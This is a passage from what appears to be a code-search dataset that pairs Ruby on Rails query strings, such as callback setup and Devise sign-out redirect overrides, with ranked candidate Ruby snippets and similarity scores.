"bd1a584846e85cb52d4b079edee61503", "score": "0.6174799", "text": "def document_params\n params.require(:document).permit(:title, :description, :url)\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "1a276939c1a6ccd3374ae1824316b138", "score": "0.0", "text": "def set_houseinfo\n @houseinfo = Houseinfo.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6163163", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6045976", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5946146", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.591683", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58349305", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.5776858", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5652805", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5621621", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54210985", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53402257", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53394014", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53321576", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53124547", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.529654", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5296262", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52952296", "text": "def setup_handler\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.52600986", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.52442724", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.5232394", "text": "def workflow\n end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.523231", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5227454", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.52201617", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.5212327", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.52079266", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.52050185", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.51754695", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.51726824", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5166172", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5159343", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51578903", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.51522785", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152022", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.51518047", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51456624", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.5133759", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5112076", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5106169", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.509231", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.50873137", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081088", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.508059", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50677156", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50562143", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5050554", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5036181", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5026331", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5022976", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5015441", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50121695", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5000944", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.5000019", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.4996878", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49864885", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49797225", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49785787", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.4976161", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49683493", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.4965126", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4958034", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49559742", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4954353", "text": "def around_hooks; end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.49535993", "text": "def save_action; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.4952725", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49467874", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49423352", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49325448", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49282882", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49269363", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49269104", "text": "def default_action; end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49252945", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4923091", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49194667", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49174926", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49173003", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49171105", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.4915879", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49155936", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" } ]
4f21aae2bb1730fc7e48e15883d7d6a9
Overwriting the sign_out redirect path method
[ { "docid": "343b93ab7c03f69f362ba8418f98b098", "score": "0.0", "text": "def after_sign_out_path_for(resource_or_scope)\n \"http://www.delab.cl\"\n end", "title": "" } ]
[ { "docid": "9f04e62b663f6477f6c1d68d1b288eeb", "score": "0.82528174", "text": "def after_sign_out_path_for(resource)\n super\n end", "title": "" }, { "docid": "82427fe165aea1e420f5e1332636a243", "score": "0.81517977", "text": "def sign_out\n redirect_to root_path\n end", "title": "" }, { "docid": "d3c8348f52629955a98ae38bb5baf0ed", "score": "0.8142195", "text": "def after_sign_out_path_for(_resource_or_scope)\n sign_out_path\n end", "title": "" }, { "docid": "3e608f14b522dbfd288768da03d284bd", "score": "0.8120327", "text": "def after_sign_out_path_for(resource)\n signed_off_path\n end", "title": "" }, { "docid": "43f645d8f2bdbfea686d771ec9e0d49a", "score": "0.8106503", "text": "def after_sign_out_path_for(_resource_or_scope)\n logged_out_path\n end", "title": "" }, { "docid": "7585a819e8f981a051f0093174776304", "score": "0.8072149", "text": "def after_sign_out_path_for(@user)\n '/users/login'\n end", "title": "" }, { "docid": "5247573edc4002edb6704dabdc62c346", "score": "0.8007481", "text": "def after_sign_out_path_for(_resource_or_scope)\n '/'\n end", "title": "" }, { "docid": "009b22d3fd0d77fec76922727ddd2b18", "score": "0.79601544", "text": "def after_sign_out_path_for(users)\n \"/users/sign_in\"\n end", "title": "" }, { "docid": "ea9935d33304525c7a3f28e43dabd85c", "score": "0.7951158", "text": "def after_sign_out_path_for(resource_or_scope)\n '/sign_in/'\n end", "title": "" }, { "docid": "63e035b39aa09215db550e55dcb35d6b", "score": "0.7948077", "text": "def after_sign_out_path_for(resource_or_scope)\n '/users/sign_in'\n end", "title": "" }, { "docid": "a43218ced5f4a4bd0966bbc5b177d0d7", "score": "0.79428977", "text": "def sign_out\n get logout_url\n end", "title": "" }, { "docid": "b30140537f73ad3b422b25b8dea2e654", "score": "0.79377097", "text": "def after_sign_out_path_for(_resource_or_scope)\n \"/\"\n end", "title": "" }, { "docid": "d47c00ed82d14b8c0511735035bd7149", "score": "0.79300094", "text": "def after_sign_out_path_for(resource_or_scope)\n logged_out_url\n end", "title": "" }, { "docid": "5d2c84194bb0a6bb64a58bec08b34796", "score": "0.7926801", "text": "def after_sign_out_path_for(*)\n new_user_session_path\n end", "title": "" }, { "docid": "5d2c84194bb0a6bb64a58bec08b34796", "score": "0.7926801", "text": "def after_sign_out_path_for(*)\n new_user_session_path\n end", "title": "" }, { "docid": "3892be7738e7767e202888b11a331026", "score": "0.79265827", "text": "def after_sign_out_path_for(resource_or_scope)\n MnoEnterprise.router.after_sign_out_url || super\n end", "title": "" }, { "docid": "6dd963118a70f91bb9e23b3e84268673", "score": "0.7886915", "text": "def after_sign_out_path_for(resource_or_scope)\n \"/#/sign_in\"\n end", "title": "" }, { "docid": "0dc6c3d3a2ea6e93d1d7070a4eb089eb", "score": "0.7884774", "text": "def after_sign_out_path_for(_)\n new_user_session_path\n end", "title": "" }, { "docid": "0dc6c3d3a2ea6e93d1d7070a4eb089eb", "score": "0.7884774", "text": "def after_sign_out_path_for(_)\n new_user_session_path\n end", "title": "" }, { "docid": "62daba9e339230ca1e099211cddee77b", "score": "0.7883731", "text": "def after_sign_out_path_for(resource_or_scope)\n set_flash_message :notice, :signed_out\n root_path\n end", "title": "" }, { "docid": "ea8fcc0ae3c045dd39a2b8992e27f0eb", "score": "0.7871015", "text": "def after_sign_out_path_for(resource)\n sign_in_path\n end", "title": "" }, { "docid": "afb4efe036404aadf8129f0d836db5c9", "score": "0.78685254", "text": "def after_sign_out_path_for(resource)\n '/'\n end", "title": "" }, { "docid": "dd23e0294f27e5f5e43bc4f9a9893af3", "score": "0.78633976", "text": "def after_sign_out_path_for(_resource_or_scope)\n cas_logout_url || new_user_session_path\n end", "title": "" }, { "docid": "37362b52c542ca6c509e97f509453672", "score": "0.78436327", "text": "def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end", "title": "" }, { "docid": "37362b52c542ca6c509e97f509453672", "score": "0.78436327", "text": "def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end", "title": "" }, { "docid": "b5d036da530cd297af1bb22674456b25", "score": "0.78377086", "text": "def after_sign_out_path_for(_resource)\n new_user_session_path\n end", "title": "" }, { "docid": "f7cfdc70e7be9bf9c655943d23024b87", "score": "0.7835952", "text": "def signout\n sign_out\n redirect_to root_path\n end", "title": "" }, { "docid": "ad470bc75ed7873ef3848238a754718f", "score": "0.7832843", "text": "def after_sign_out_path_for(*)\n \"/\"\n end", "title": "" }, { "docid": "05afbf3db8d65fd34a4cc4021aa258f7", "score": "0.78080326", "text": "def after_sign_out_path_for(resource_or_scope)\n\t kiss_record \"Signed Out\"\n\t home_path\n\tend", "title": "" }, { "docid": "a854a54e6dbf5dc3d26cc2d4da94ee01", "score": "0.7803291", "text": "def after_sign_out_path_for(resource)\n \t new_user_session_path\n\t end", "title": "" }, { "docid": "e1e88027373ecd7593184ac8aaed567b", "score": "0.77931714", "text": "def after_signout_path\n \"/\"\n end", "title": "" }, { "docid": "c94dbdbfe8e53c7ff696b27f238561b1", "score": "0.77639675", "text": "def after_sign_out_path_for(user)\n \troot_url\n end", "title": "" }, { "docid": "e74094f39a48dd099e7d56745c275b3f", "score": "0.77291566", "text": "def after_sign_out_path_for(resource)\n new_user_session_path\n end", "title": "" }, { "docid": "e74094f39a48dd099e7d56745c275b3f", "score": "0.77291566", "text": "def after_sign_out_path_for(resource)\n new_user_session_path\n end", "title": "" }, { "docid": "e74094f39a48dd099e7d56745c275b3f", "score": "0.77291566", "text": "def after_sign_out_path_for(resource)\n new_user_session_path\n end", "title": "" }, { "docid": "e74094f39a48dd099e7d56745c275b3f", "score": "0.77291566", "text": "def after_sign_out_path_for(resource)\n new_user_session_path\n end", "title": "" }, { "docid": "e74094f39a48dd099e7d56745c275b3f", "score": "0.77291566", "text": "def after_sign_out_path_for(resource)\n new_user_session_path\n end", "title": "" }, { "docid": "5714d95b0753ef6608b007d0f5874dc7", "score": "0.77198064", "text": "def after_sign_out_path_for(resource_or_scope)\n track_user_logout\n root_path\n end", "title": "" }, { "docid": "59b9907ba1096a88ed47280a3e12ea83", "score": "0.77159405", "text": "def after_sign_out_path_for(resource_or_scope)\n '/login'\n end", "title": "" }, { "docid": "59b9907ba1096a88ed47280a3e12ea83", "score": "0.77152544", "text": "def after_sign_out_path_for(resource_or_scope)\n '/login'\n end", "title": "" }, { "docid": "59b9907ba1096a88ed47280a3e12ea83", "score": "0.77152544", "text": "def after_sign_out_path_for(resource_or_scope)\n '/login'\n end", "title": "" }, { "docid": "9f149c660ade356238601c135ef6a805", "score": "0.77101934", "text": "def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\nend", "title": "" }, { "docid": "da79e3deac20de195900a5b6675f4109", "score": "0.7708634", "text": "def after_sign_out_path_for(resource_or_scope)\n logout_path\n end", "title": "" }, { "docid": "807b4d7e2c96e3089d13045fb82bcd0d", "score": "0.77031434", "text": "def after_sign_out_path_for(resource_or_scope)\n \"#{root_path}?logout=true\"\n end", "title": "" }, { "docid": "d61ff0df290f75e94fc69d31774c7305", "score": "0.77021945", "text": "def after_sign_out_path_for(resource_or_scope)\n redirect = params[\"redirect\"] && CGI::unescape(params[\"redirect\"])\n logger.info \"redirect after sign_out: \" + redirect.to_s\n redirect ? redirect : root_path\n end", "title": "" }, { "docid": "4d867e1e59f0628d2161e2248e8be2db", "score": "0.7700469", "text": "def signed_out_user\n if signed_in?\n redirect_to(root_url)\n end\n end", "title": "" }, { "docid": "9bbc3004b7a59196427ccfcad3d6eead", "score": "0.7700084", "text": "def sign_out_page\n render 'devise/sessions/sign_out'\n end", "title": "" }, { "docid": "c5b69fa75571ae2dce32bf9fa10438b9", "score": "0.7698499", "text": "def after_sign_out_path_for(user)\n \tnew_user_session_path\n end", "title": "" }, { "docid": "231e044ecff5c274e5268e0640e04596", "score": "0.76939315", "text": "def after_sign_out_path_for(resource)\n session[:org] = nil\n new_user_session_path\n end", "title": "" }, { "docid": "231e044ecff5c274e5268e0640e04596", "score": "0.76939315", "text": "def after_sign_out_path_for(resource)\n session[:org] = nil\n new_user_session_path\n end", "title": "" }, { "docid": "08a17ad4fe70b3d8ad55128e9e2e1997", "score": "0.769212", "text": "def signed_out_user\n redirect_to root_path unless !signed_in?\n end", "title": "" }, { "docid": "658a9e277f95c043164ffa4c5a9b65e4", "score": "0.76831216", "text": "def after_sign_out_path_for(resource_or_scope)\n sign_in_path\n end", "title": "" }, { "docid": "2c942d0b8cbcea254dcb27aa9a1e744f", "score": "0.7682263", "text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end", "title": "" }, { "docid": "2c942d0b8cbcea254dcb27aa9a1e744f", "score": "0.7682263", "text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end", "title": "" }, { "docid": "2c942d0b8cbcea254dcb27aa9a1e744f", "score": "0.7682263", "text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end", "title": "" }, { "docid": "2c942d0b8cbcea254dcb27aa9a1e744f", "score": "0.7682263", "text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end", "title": "" }, { "docid": "2c942d0b8cbcea254dcb27aa9a1e744f", "score": "0.7682263", "text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end", "title": "" }, { "docid": "2c942d0b8cbcea254dcb27aa9a1e744f", "score": "0.7682263", "text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end", "title": "" }, { "docid": "2c942d0b8cbcea254dcb27aa9a1e744f", "score": "0.7682263", "text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end", "title": "" }, { "docid": "2c942d0b8cbcea254dcb27aa9a1e744f", "score": "0.7682263", "text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end", "title": "" }, { "docid": "2c942d0b8cbcea254dcb27aa9a1e744f", "score": "0.7682263", "text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end", "title": "" }, { "docid": "b8859b4509eeb67d1565d3d96414fee4", "score": "0.76777554", "text": "def after_sign_out_path_for(_resource)\n root_path\n end", "title": "" }, { "docid": "b8859b4509eeb67d1565d3d96414fee4", "score": "0.76777554", "text": "def after_sign_out_path_for(_resource)\n root_path\n end", "title": "" }, { "docid": "c3e50c6bd7c9afdbc04a697b866083e2", "score": "0.7657932", "text": "def signed_out_user\n if @signed_in\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "e81cd1e0da10d1829cfbf717f770e251", "score": "0.7655501", "text": "def 